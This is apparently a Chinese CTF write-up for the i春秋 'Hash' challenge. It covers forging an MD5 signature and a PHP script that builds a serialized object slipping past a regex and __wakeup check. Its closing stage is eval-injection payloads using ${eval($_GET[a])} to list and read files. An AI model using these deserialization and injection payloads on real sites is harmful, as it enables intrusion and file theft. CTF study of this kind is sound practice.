i春秋Hash

2023-02-17,

打开题目页面是一个超链接

先查看源码得到一段信息

没什么,这只是超链接跳转的信息

点击跳转到下一个界面

提示我们如果我们的传入不是123,123也就是key了,在上面的url就可以看到

如果key!=123我们就能得到flag

然后后面是一段隐藏的信息,需要查看源码才看得到

<!--$hash=md5($sign.$key);the length of $sign is 8

告诉我们hash等于sign.key的md5加密,然后sign的长度是8

题目中给了一段key与hash的例子

key=123&hash=f9109d5f83921a551cf859f853afe7bb

先对hash md5解密一下试试

解出来是kkkkkk01123

取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123

很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5(kkkkkk01111)

adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)

构造出url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/index.php?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6

访问之,提示我们next step is Gu3ss_m3_h2h2.php

不多说,直接访问试试

一段php代码

看看源码有没有什么遗漏的

(。。。。。应该没有)

审计代码

先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php

再看他的demo类

先是定义私有变量file让它指定一个文件

然后再定义一个共有函数,让其this变量指向file的值等于file

再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的

然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个

最后还有一句注释,这秘密在f15g_1s_here.php

大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页

。。。。。。。

想想只需要绕过就行了吧

我们这里就写个脚本来加密下f15g_1s_here.php来绕过它

<?phpclass Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>

本地运行即可得到我们需要传入的值

TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

成功进入下一步

再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上val的addslashes转义字符串再连上;组成

很明显了,这里就要我们利用eval()来获取到flag

先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}

发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令

这里使用url的GET传值来避免val中的’ls’被转义构造payload:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

查看到所有文件,再cat查看

Payload:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

页面也没有回显,查看源码得到flag

i春秋Hash的相关教程结束。

《i春秋Hash.doc》

下载本文的Word格式文档,以方便收藏与打印。